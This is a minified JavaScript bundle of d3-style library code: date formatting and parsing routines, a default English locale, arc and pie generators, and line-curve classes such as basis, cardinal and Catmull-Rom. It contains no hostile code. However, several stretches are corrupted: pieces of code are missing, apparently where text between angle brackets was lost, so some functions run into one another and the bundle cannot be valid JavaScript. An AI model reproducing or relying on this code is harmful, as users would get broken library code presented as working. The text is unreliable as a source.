K}o(C,"parseSpecifier");function R(re,ee,Z){var K=h.exec(ee.slice(Z));return K?(re.p=f.get(K[0].toLowerCase()),Z+K[0].length):-1}o(R,"parsePeriod");function I(re,ee,Z){var K=m.exec(ee.slice(Z));return K?(re.w=g.get(K[0].toLowerCase()),Z+K[0].length):-1}o(I,"parseShortWeekday");function L(re,ee,Z){var K=d.exec(ee.slice(Z));return K?(re.w=p.get(K[0].toLowerCase()),Z+K[0].length):-1}o(L,"parseWeekday");function E(re,ee,Z){var K=x.exec(ee.slice(Z));return K?(re.m=b.get(K[0].toLowerCase()),Z+K[0].length):-1}o(E,"parseShortMonth");function D(re,ee,Z){var K=y.exec(ee.slice(Z));return K?(re.m=v.get(K[0].toLowerCase()),Z+K[0].length):-1}o(D,"parseMonth");function _(re,ee,Z){return C(re,e,ee,Z)}o(_,"parseLocaleDateTime");function O(re,ee,Z){return C(re,r,ee,Z)}o(O,"parseLocaleDate");function M(re,ee,Z){return C(re,n,ee,Z)}o(M,"parseLocaleTime");function P(re){return s[re.getDay()]}o(P,"formatShortWeekday");function B(re){return a[re.getDay()]}o(B,"formatWeekday");function F(re){return u[re.getMonth()]}o(F,"formatShortMonth");function G(re){return l[re.getMonth()]}o(G,"formatMonth");function $(re){return i[+(re.getHours()>=12)]}o($,"formatPeriod");function U(re){return 1+~~(re.getMonth()/3)}o(U,"formatQuarter");function j(re){return s[re.getUTCDay()]}o(j,"formatUTCShortWeekday");function te(re){return a[re.getUTCDay()]}o(te,"formatUTCWeekday");function Y(re){return u[re.getUTCMonth()]}o(Y,"formatUTCShortMonth");function oe(re){return l[re.getUTCMonth()]}o(oe,"formatUTCMonth");function J(re){return i[+(re.getUTCHours()>=12)]}o(J,"formatUTCPeriod");function ue(re){return 1+~~(re.getUTCMonth()/3)}return o(ue,"formatUTCQuarter"),{format:o(function(re){var ee=k(re+="",T);return ee.toString=function(){return re},ee},"format"),parse:o(function(re){var ee=A(re+="",!1);return ee.toString=function(){return re},ee},"parse"),utcFormat:o(function(re){var ee=k(re+="",S);return ee.toString=function(){return re},ee},"utcFormat"),utcParse:o(function(re){var ee=A(re+="",!0);return ee.toString=function(){return re},ee},"utcParse")}}function Kr(t,e,r){var n=t<0?"-":"",i=(n?-t:t)+"",a=i.length;return n+(a[e.toLowerCase(),r]))}function F6e(t,e,r){var n=Yi.exec(e.slice(r,r+1));return n?(t.w=+n[0],r+n[0].length):-1}function $6e(t,e,r){var n=Yi.exec(e.slice(r,r+1));return n?(t.u=+n[0],r+n[0].length):-1}function z6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.U=+n[0],r+n[0].length):-1}function G6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.V=+n[0],r+n[0].length):-1}function V6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.W=+n[0],r+n[0].length):-1}function oX(t,e,r){var n=Yi.exec(e.slice(r,r+4));return n?(t.y=+n[0],r+n[0].length):-1}function lX(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.y=+n[0]+(+n[0]>68?1900:2e3),r+n[0].length):-1}function U6e(t,e,r){var n=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(e.slice(r,r+6));return n?(t.Z=n[1]?0:-(n[2]+(n[3]||"00")),r+n[0].length):-1}function H6e(t,e,r){var n=Yi.exec(e.slice(r,r+1));return n?(t.q=n[0]*3-3,r+n[0].length):-1}function q6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.m=n[0]-1,r+n[0].length):-1}function cX(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.d=+n[0],r+n[0].length):-1}function W6e(t,e,r){var n=Yi.exec(e.slice(r,r+3));return n?(t.m=0,t.d=+n[0],r+n[0].length):-1}function uX(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.H=+n[0],r+n[0].length):-1}function Y6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.M=+n[0],r+n[0].length):-1}function X6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.S=+n[0],r+n[0].length):-1}function j6e(t,e,r){var n=Yi.exec(e.slice(r,r+3));return n?(t.L=+n[0],r+n[0].length):-1}function K6e(t,e,r){var n=Yi.exec(e.slice(r,r+6));return n?(t.L=Math.floor(n[0]/1e3),r+n[0].length):-1}function Q6e(t,e,r){var n=O6e.exec(e.slice(r,r+1));return n?r+n[0].length:-1}function Z6e(t,e,r){var n=Yi.exec(e.slice(r));return n?(t.Q=+n[0],r+n[0].length):-1}function J6e(t,e,r){var n=Yi.exec(e.slice(r));return n?(t.s=+n[0],r+n[0].length):-1}function hX(t,e){return Kr(t.getDate(),e,2)}function eCe(t,e){return Kr(t.getHours(),e,2)}function tCe(t,e){return Kr(t.getHours()%12||12,e,2)}function rCe(t,e){return Kr(1+Ro.count(ao(t),t),e,3)}function gX(t,e){return Kr(t.getMilliseconds(),e,3)}function nCe(t,e){return gX(t,e)+"000"}function iCe(t,e){return Kr(t.getMonth()+1,e,2)}function aCe(t,e){return Kr(t.getMinutes(),e,2)}function sCe(t,e){return Kr(t.getSeconds(),e,2)}function oCe(t){var e=t.getDay();return e===0?7:e}function lCe(t,e){return Kr(wl.count(ao(t)-1,t),e,2)}function yX(t){var e=t.getDay();return e>=4||e===0?fc(t):fc.ceil(t)}function cCe(t,e){return t=yX(t),Kr(fc.count(ao(t),t)+(ao(t).getDay()===4),e,2)}function uCe(t){return t.getDay()}function hCe(t,e){return Kr(Ih.count(ao(t)-1,t),e,2)}function fCe(t,e){return Kr(t.getFullYear()%100,e,2)}function dCe(t,e){return t=yX(t),Kr(t.getFullYear()%100,e,2)}function pCe(t,e){return Kr(t.getFullYear()%1e4,e,4)}function mCe(t,e){var r=t.getDay();return t=r>=4||r===0?fc(t):fc.ceil(t),Kr(t.getFullYear()%1e4,e,4)}function gCe(t){var e=t.getTimezoneOffset();return(e>0?"-":(e*=-1,"+"))+Kr(e/60|0,"0",2)+Kr(e%60,"0",2)}function fX(t,e){return Kr(t.getUTCDate(),e,2)}function yCe(t,e){return Kr(t.getUTCHours(),e,2)}function vCe(t,e){return Kr(t.getUTCHours()%12||12,e,2)}function xCe(t,e){return Kr(1+Pv.count(kl(t),t),e,3)}function vX(t,e){return Kr(t.getUTCMilliseconds(),e,3)}function bCe(t,e){return vX(t,e)+"000"}function TCe(t,e){return Kr(t.getUTCMonth()+1,e,2)}function wCe(t,e){return Kr(t.getUTCMinutes(),e,2)}function kCe(t,e){return Kr(t.getUTCSeconds(),e,2)}function ECe(t){var e=t.getUTCDay();return e===0?7:e}function SCe(t,e){return Kr(Od.count(kl(t)-1,t),e,2)}function xX(t){var e=t.getUTCDay();return e>=4||e===0?Oh(t):Oh.ceil(t)}function CCe(t,e){return t=xX(t),Kr(Oh.count(kl(t),t)+(kl(t).getUTCDay()===4),e,2)}function ACe(t){return t.getUTCDay()}function _Ce(t,e){return Kr(Y0.count(kl(t)-1,t),e,2)}function DCe(t,e){return Kr(t.getUTCFullYear()%100,e,2)}function LCe(t,e){return t=xX(t),Kr(t.getUTCFullYear()%100,e,2)}function RCe(t,e){return Kr(t.getUTCFullYear()%1e4,e,4)}function NCe(t,e){var r=t.getUTCDay();return t=r>=4||r===0?Oh(t):Oh.ceil(t),Kr(t.getUTCFullYear()%1e4,e,4)}function MCe(){return"+0000"}function dX(){return"%"}function pX(t){return+t}function mX(t){return Math.floor(+t/1e3)}var sX,Yi,O6e,P6e,bX=N(()=>{"use strict";G5();o(GD,"localDate");o(VD,"utcDate");o(Bv,"newDate");o(UD,"formatLocale");sX={"-":"",_:" ",0:"0"},Yi=/^\s*\d+/,O6e=/^%/,P6e=/[\\^$*+?|[\]().{}]/g;o(Kr,"pad");o(B6e,"requote");o(Fv,"formatRe");o($v,"formatLookup");o(F6e,"parseWeekdayNumberSunday");o($6e,"parseWeekdayNumberMonday");o(z6e,"parseWeekNumberSunday");o(G6e,"parseWeekNumberISO");o(V6e,"parseWeekNumberMonday");o(oX,"parseFullYear");o(lX,"parseYear");o(U6e,"parseZone");o(H6e,"parseQuarter");o(q6e,"parseMonthNumber");o(cX,"parseDayOfMonth");o(W6e,"parseDayOfYear");o(uX,"parseHour24");o(Y6e,"parseMinutes");o(X6e,"parseSeconds");o(j6e,"parseMilliseconds");o(K6e,"parseMicroseconds");o(Q6e,"parseLiteralPercent");o(Z6e,"parseUnixTimestamp");o(J6e,"parseUnixTimestampSeconds");o(hX,"formatDayOfMonth");o(eCe,"formatHour24");o(tCe,"formatHour12");o(rCe,"formatDayOfYear");o(gX,"formatMilliseconds");o(nCe,"formatMicroseconds");o(iCe,"formatMonthNumber");o(aCe,"formatMinutes");o(sCe,"formatSeconds");o(oCe,"formatWeekdayNumberMonday");o(lCe,"formatWeekNumberSunday");o(yX,"dISO");o(cCe,"formatWeekNumberISO");o(uCe,"formatWeekdayNumberSunday");o(hCe,"formatWeekNumberMonday");o(fCe,"formatYear");o(dCe,"formatYearISO");o(pCe,"formatFullYear");o(mCe,"formatFullYearISO");o(gCe,"formatZone");o(fX,"formatUTCDayOfMonth");o(yCe,"formatUTCHour24");o(vCe,"formatUTCHour12");o(xCe,"formatUTCDayOfYear");o(vX,"formatUTCMilliseconds");o(bCe,"formatUTCMicroseconds");o(TCe,"formatUTCMonthNumber");o(wCe,"formatUTCMinutes");o(kCe,"formatUTCSeconds");o(ECe,"formatUTCWeekdayNumberMonday");o(SCe,"formatUTCWeekNumberSunday");o(xX,"UTCdISO");o(CCe,"formatUTCWeekNumberISO");o(ACe,"formatUTCWeekdayNumberSunday");o(_Ce,"formatUTCWeekNumberMonday");o(DCe,"formatUTCYear");o(LCe,"formatUTCYearISO");o(RCe,"formatUTCFullYear");o(NCe,"formatUTCFullYearISO");o(MCe,"formatUTCZone");o(dX,"formatLiteralPercent");o(pX,"formatUnixTimestamp");o(mX,"formatUnixTimestampSeconds")});function HD(t){return X0=UD(t),Pd=X0.format,TX=X0.parse,wX=X0.utcFormat,kX=X0.utcParse,X0}var X0,Pd,TX,wX,kX,EX=N(()=>{"use strict";bX();HD({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});o(HD,"defaultLocale")});var qD=N(()=>{"use strict";EX()});function ICe(t){return new Date(t)}function OCe(t){return t instanceof Date?+t:+new Date(+t)}function SX(t,e,r,n,i,a,s,l,u,h){var f=Iv(),d=f.invert,p=f.domain,m=h(".%L"),g=h(":%S"),y=h("%I:%M"),v=h("%I %p"),x=h("%a %d"),b=h("%b %d"),T=h("%B"),S=h("%Y");function w(k){return(u(k){"use strict";G5();qD();CD();Mv();YY();o(ICe,"date");o(OCe,"number");o(SX,"calendar");o(V5,"time")});var AX=N(()=>{"use strict";GY();WY();wD();CX()});function WD(t){for(var e=t.length/6|0,r=new Array(e),n=0;n{"use strict";o(WD,"default")});var YD,DX=N(()=>{"use strict";_X();YD=WD("4e79a7f28e2ce1575976b7b259a14fedc949af7aa1ff9da79c755fbab0ab")});var LX=N(()=>{"use strict";DX()});function zn(t){return o(function(){return t},"constant")}var U5=N(()=>{"use strict";o(zn,"default")});function NX(t){return t>1?0:t<-1?j0:Math.acos(t)}function jD(t){return t>=1?zv:t<=-1?-zv:Math.asin(t)}var XD,ca,Ph,RX,H5,El,Bd,Xi,j0,zv,K0,q5=N(()=>{"use strict";XD=Math.abs,ca=Math.atan2,Ph=Math.cos,RX=Math.max,H5=Math.min,El=Math.sin,Bd=Math.sqrt,Xi=1e-12,j0=Math.PI,zv=j0/2,K0=2*j0;o(NX,"acos");o(jD,"asin")});function W5(t){let e=3;return t.digits=function(r){if(!arguments.length)return e;if(r==null)e=null;else{let n=Math.floor(r);if(!(n>=0))throw new RangeError(`invalid digits: ${r}`);e=n}return t},()=>new _d(e)}var KD=N(()=>{"use strict";W_();o(W5,"withPath")});function PCe(t){return t.innerRadius}function BCe(t){return t.outerRadius}function FCe(t){return t.startAngle}function $Ce(t){return t.endAngle}function zCe(t){return t&&t.padAngle}function GCe(t,e,r,n,i,a,s,l){var u=r-t,h=n-e,f=s-i,d=l-a,p=d*u-f*h;if(!(p*p_*_+O*O&&(C=I,R=L),{cx:C,cy:R,x01:-f,y01:-d,x11:C*(i/w-1),y11:R*(i/w-1)}}function Sl(){var t=PCe,e=BCe,r=zn(0),n=null,i=FCe,a=$Ce,s=zCe,l=null,u=W5(h);function h(){var f,d,p=+t.apply(this,arguments),m=+e.apply(this,arguments),g=i.apply(this,arguments)-zv,y=a.apply(this,arguments)-zv,v=XD(y-g),x=y>g;if(l||(l=f=u()),mXi))l.moveTo(0,0);else if(v>K0-Xi)l.moveTo(m*Ph(g),m*El(g)),l.arc(0,0,m,g,y,!x),p>Xi&&(l.moveTo(p*Ph(y),p*El(y)),l.arc(0,0,p,y,g,x));else{var b=g,T=y,S=g,w=y,k=v,A=v,C=s.apply(this,arguments)/2,R=C>Xi&&(n?+n.apply(this,arguments):Bd(p*p+m*m)),I=H5(XD(m-p)/2,+r.apply(this,arguments)),L=I,E=I,D,_;if(R>Xi){var O=jD(R/p*El(C)),M=jD(R/m*El(C));(k-=O*2)>Xi?(O*=x?1:-1,S+=O,w-=O):(k=0,S=w=(g+y)/2),(A-=M*2)>Xi?(M*=x?1:-1,b+=M,T-=M):(A=0,b=T=(g+y)/2)}var P=m*Ph(b),B=m*El(b),F=p*Ph(w),G=p*El(w);if(I>Xi){var $=m*Ph(T),U=m*El(T),j=p*Ph(S),te=p*El(S),Y;if(vXi?E>Xi?(D=Y5(j,te,P,B,m,E,x),_=Y5($,U,F,G,m,E,x),l.moveTo(D.cx+D.x01,D.cy+D.y01),EXi)||!(k>Xi)?l.lineTo(F,G):L>Xi?(D=Y5(F,G,$,U,p,-L,x),_=Y5(P,B,j,te,p,-L,x),l.lineTo(D.cx+D.x01,D.cy+D.y01),L{"use strict";U5();q5();KD();o(PCe,"arcInnerRadius");o(BCe,"arcOuterRadius");o(FCe,"arcStartAngle");o($Ce,"arcEndAngle");o(zCe,"arcPadAngle");o(GCe,"intersect");o(Y5,"cornerTangents");o(Sl,"default")});function Gv(t){return typeof t=="object"&&"length"in t?t:Array.from(t)}var Zxt,QD=N(()=>{"use strict";Zxt=Array.prototype.slice;o(Gv,"default")});function IX(t){this._context=t}function Cu(t){return new IX(t)}var ZD=N(()=>{"use strict";o(IX,"Linear");IX.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._point=0},"lineStart"),lineEnd:o(function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;default:this._context.lineTo(t,e);break}},"point")};o(Cu,"default")});function OX(t){return t[0]}function PX(t){return t[1]}var BX=N(()=>{"use strict";o(OX,"x");o(PX,"y")});function Cl(t,e){var r=zn(!0),n=null,i=Cu,a=null,s=W5(l);t=typeof t=="function"?t:t===void 0?OX:zn(t),e=typeof e=="function"?e:e===void 0?PX:zn(e);function l(u){var h,f=(u=Gv(u)).length,d,p=!1,m;for(n==null&&(a=i(m=s())),h=0;h<=f;++h)!(h{"use strict";QD();U5();ZD();KD();BX();o(Cl,"default")});function JD(t,e){return et?1:e>=t?0:NaN}var $X=N(()=>{"use strict";o(JD,"default")});function eL(t){return t}var zX=N(()=>{"use strict";o(eL,"default")});function X5(){var t=eL,e=JD,r=null,n=zn(0),i=zn(K0),a=zn(0);function s(l){var u,h=(l=Gv(l)).length,f,d,p=0,m=new Array(h),g=new Array(h),y=+n.apply(this,arguments),v=Math.min(K0,Math.max(-K0,i.apply(this,arguments)-y)),x,b=Math.min(Math.abs(v)/h,a.apply(this,arguments)),T=b*(v<0?-1:1),S;for(u=0;u0&&(p+=S);for(e!=null?m.sort(function(w,k){return e(g[w],g[k])}):r!=null&&m.sort(function(w,k){return r(l[w],l[k])}),u=0,d=p?(v-h*T)/p:0;u0?S*d:0)+T,g[f]={data:l[f],index:u,value:S,startAngle:y,endAngle:x,padAngle:b};return g}return o(s,"pie"),s.value=function(l){return arguments.length?(t=typeof l=="function"?l:zn(+l),s):t},s.sortValues=function(l){return arguments.length?(e=l,r=null,s):e},s.sort=function(l){return arguments.length?(r=l,e=null,s):r},s.startAngle=function(l){return arguments.length?(n=typeof l=="function"?l:zn(+l),s):n},s.endAngle=function(l){return arguments.length?(i=typeof l=="function"?l:zn(+l),s):i},s.padAngle=function(l){return arguments.length?(a=typeof l=="function"?l:zn(+l),s):a},s}var GX=N(()=>{"use strict";QD();U5();$X();zX();q5();o(X5,"default")});function Vv(t){return new j5(t,!0)}function Uv(t){return new j5(t,!1)}var j5,VX=N(()=>{"use strict";j5=class{static{o(this,"Bump")}constructor(e,r){this._context=e,this._x=r}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(e,r){switch(e=+e,r=+r,this._point){case 0:{this._point=1,this._line?this._context.lineTo(e,r):this._context.moveTo(e,r);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+e)/2,this._y0,this._x0,r,e,r):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+r)/2,e,this._y0,e,r);break}}this._x0=e,this._y0=r}};o(Vv,"bumpX");o(Uv,"bumpY")});function so(){}var Hv=N(()=>{"use strict";o(so,"default")});function Q0(t,e,r){t._context.bezierCurveTo((2*t._x0+t._x1)/3,(2*t._y0+t._y1)/3,(t._x0+2*t._x1)/3,(t._y0+2*t._y1)/3,(t._x0+4*t._x1+e)/6,(t._y0+4*t._y1+r)/6)}function qv(t){this._context=t}function No(t){return new qv(t)}var Wv=N(()=>{"use strict";o(Q0,"point");o(qv,"Basis");qv.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 3:Q0(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Q0(this,t,e);break}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e},"point")};o(No,"default")});function UX(t){this._context=t}function K5(t){return new UX(t)}var HX=N(()=>{"use strict";Hv();Wv();o(UX,"BasisClosed");UX.prototype={areaStart:so,areaEnd:so,lineStart:o(function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._x2=t,this._y2=e;break;case 1:this._point=2,this._x3=t,this._y3=e;break;case 2:this._point=3,this._x4=t,this._y4=e,this._context.moveTo((this._x0+4*this._x1+t)/6,(this._y0+4*this._y1+e)/6);break;default:Q0(this,t,e);break}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e},"point")};o(K5,"default")});function qX(t){this._context=t}function Q5(t){return new qX(t)}var WX=N(()=>{"use strict";Wv();o(qX,"BasisOpen");qX.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},"lineStart"),lineEnd:o(function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var r=(this._x0+4*this._x1+t)/6,n=(this._y0+4*this._y1+e)/6;this._line?this._context.lineTo(r,n):this._context.moveTo(r,n);break;case 3:this._point=4;default:Q0(this,t,e);break}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e},"point")};o(Q5,"default")});function YX(t,e){this._basis=new qv(t),this._beta=e}var tL,XX=N(()=>{"use strict";Wv();o(YX,"Bundle");YX.prototype={lineStart:o(function(){this._x=[],this._y=[],this._basis.lineStart()},"lineStart"),lineEnd:o(function(){var t=this._x,e=this._y,r=t.length-1;if(r>0)for(var n=t[0],i=e[0],a=t[r]-n,s=e[r]-i,l=-1,u;++l<=r;)u=l/r,this._basis.point(this._beta*t[l]+(1-this._beta)*(n+u*a),this._beta*e[l]+(1-this._beta)*(i+u*s));this._x=this._y=null,this._basis.lineEnd()},"lineEnd"),point:o(function(t,e){this._x.push(+t),this._y.push(+e)},"point")};tL=o((function t(e){function r(n){return e===1?new qv(n):new YX(n,e)}return o(r,"bundle"),r.beta=function(n){return t(+n)},r}),"custom")(.85)});function Z0(t,e,r){t._context.bezierCurveTo(t._x1+t._k*(t._x2-t._x0),t._y1+t._k*(t._y2-t._y0),t._x2+t._k*(t._x1-e),t._y2+t._k*(t._y1-r),t._x2,t._y2)}function Z5(t,e){this._context=t,this._k=(1-e)/6}var Yv,Xv=N(()=>{"use strict";o(Z0,"point");o(Z5,"Cardinal");Z5.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 2:this._context.lineTo(this._x2,this._y2);break;case 3:Z0(this,this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2,this._x1=t,this._y1=e;break;case 2:this._point=3;default:Z0(this,t,e);break}this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};Yv=o((function t(e){function r(n){return new Z5(n,e)}return o(r,"cardinal"),r.tension=function(n){return t(+n)},r}),"custom")(0)});function J5(t,e){this._context=t,this._k=(1-e)/6}var rL,nL=N(()=>{"use strict";Hv();Xv();o(J5,"CardinalClosed");J5.prototype={areaStart:so,areaEnd:so,lineStart:o(function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._x5=this._y0=this._y1=this._y2=this._y3=this._y4=this._y5=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 1:{this._context.moveTo(this._x3,this._y3),this._context.closePath();break}case 2:{this._context.lineTo(this._x3,this._y3),this._context.closePath();break}case 3:{this.point(this._x3,this._y3),this.point(this._x4,this._y4),this.point(this._x5,this._y5);break}}},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._x3=t,this._y3=e;break;case 1:this._point=2,this._context.moveTo(this._x4=t,this._y4=e);break;case 2:this._point=3,this._x5=t,this._y5=e;break;default:Z0(this,t,e);break}this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};rL=o((function t(e){function r(n){return new J5(n,e)}return o(r,"cardinal"),r.tension=function(n){return t(+n)},r}),"custom")(0)});function eT(t,e){this._context=t,this._k=(1-e)/6}var iL,aL=N(()=>{"use strict";Xv();o(eT,"CardinalOpen");eT.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._point=0},"lineStart"),lineEnd:o(function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3,this._line?this._context.lineTo(this._x2,this._y2):this._context.moveTo(this._x2,this._y2);break;case 3:this._point=4;default:Z0(this,t,e);break}this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};iL=o((function t(e){function r(n){return new eT(n,e)}return o(r,"cardinal"),r.tension=function(n){return t(+n)},r}),"custom")(0)});function jv(t,e,r){var n=t._x1,i=t._y1,a=t._x2,s=t._y2;if(t._l01_a>Xi){var l=2*t._l01_2a+3*t._l01_a*t._l12_a+t._l12_2a,u=3*t._l01_a*(t._l01_a+t._l12_a);n=(n*l-t._x0*t._l12_2a+t._x2*t._l01_2a)/u,i=(i*l-t._y0*t._l12_2a+t._y2*t._l01_2a)/u}if(t._l23_a>Xi){var h=2*t._l23_2a+3*t._l23_a*t._l12_a+t._l12_2a,f=3*t._l23_a*(t._l23_a+t._l12_a);a=(a*h+t._x1*t._l23_2a-e*t._l12_2a)/f,s=(s*h+t._y1*t._l23_2a-r*t._l12_2a)/f}t._context.bezierCurveTo(n,i,a,s,t._x2,t._y2)}function jX(t,e){this._context=t,this._alpha=e}var Kv,tT=N(()=>{"use strict";q5();Xv();o(jv,"point");o(jX,"CatmullRom");jX.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._l01_a=this._l12_a=this._l23_a=this._l01_2a=this._l12_2a=this._l23_2a=this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 2:this._context.lineTo(this._x2,this._y2);break;case 3:this.point(this._x2,this._y2);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){if(t=+t,e=+e,this._point){var r=this._x2-t,n=this._y2-e;this._l23_a=Math.sqrt(this._l23_2a=Math.pow(r*r+n*n,this._alpha))}switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;break;case 2:this._point=3;default:jv(this,t,e);break}this._l01_a=this._l12_a,this._l12_a=this._l23_a,this._l01_2a=this._l12_2a,this._l12_2a=this._l23_2a,this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};Kv=o((function t(e){function r(n){return e?new jX(n,e):new Z5(n,0)}return o(r,"catmullRom"),r.alpha=function(n){return t(+n)},r}),"custom")(.5)});function KX(t,e){this._context=t,this._alpha=e}var sL,QX=N(()=>{"use strict";nL();Hv();tT();o(KX,"CatmullRomClosed");KX.prototype={areaStart:so,areaEnd:so,lineStart:o(function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._x5=this._y0=this._y1=this._y2=this._y3=this._y4=this._y5=NaN,this._l01_a=this._l12_a=this._l23_a=this._l01_2a=this._l12_2a=this._l23_2a=this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 1:{this._context.moveTo(this._x3,this._y3),this._context.closePath();break}case 2:{this._context.lineTo(this._x3,this._y3),this._context.closePath();break}case 3:{this.point(this._x3,this._y3),this.point(this._x4,this._y4),this.point(this._x5,this._y5);break}}},"lineEnd"),point:o(function(t,e){if(t=+t,e=+e,this._point){var r=this._x2-t,n=this._y2-e;this._l23_a=Math.sqrt(this._l23_2a=Math.pow(r*r+n*n,this._alpha))}switch(this._point){case 0:this._point=1,this._x3=t,this._y3=e;break;case 1:this._point=2,this._context.moveTo(this._x4=t,this._y4=e);break;case 2:this._point=3,this._x5=t,this._y5=e;break;default:jv(this,t,e);break}this._l01_a=this._l12_a,this._l12_a=this._l23_a,this._l01_2a=this._l12_2a,this._l12_2a=this._l23_2a,this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};sL=o((function t(e){function r(n){return e?new KX(n,e):new J5(n,0)}return o(r,"catmullRom"),r.alpha=function(n){return t(+n)},r}),"custom")(.5)});function ZX(t,e){this._context=t,this._alpha=e}var oL,JX=N(()=>{"use strict";aL();tT();o(ZX,"CatmullRomOpen");ZX.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._l01_a=this._l12_a=this._l23_a=this._l01_2a=this._l12_2a=this._l23_2a=this._point=0},"lineStart"),lineEnd:o(function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){if(t=+t,e=+e,this._point){var r=this._x2-t,n=this._y2-e;this._l23_a=Math.sqrt(this._l23_2a=Math.pow(r*r+n*n,this._alpha))}switch(this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 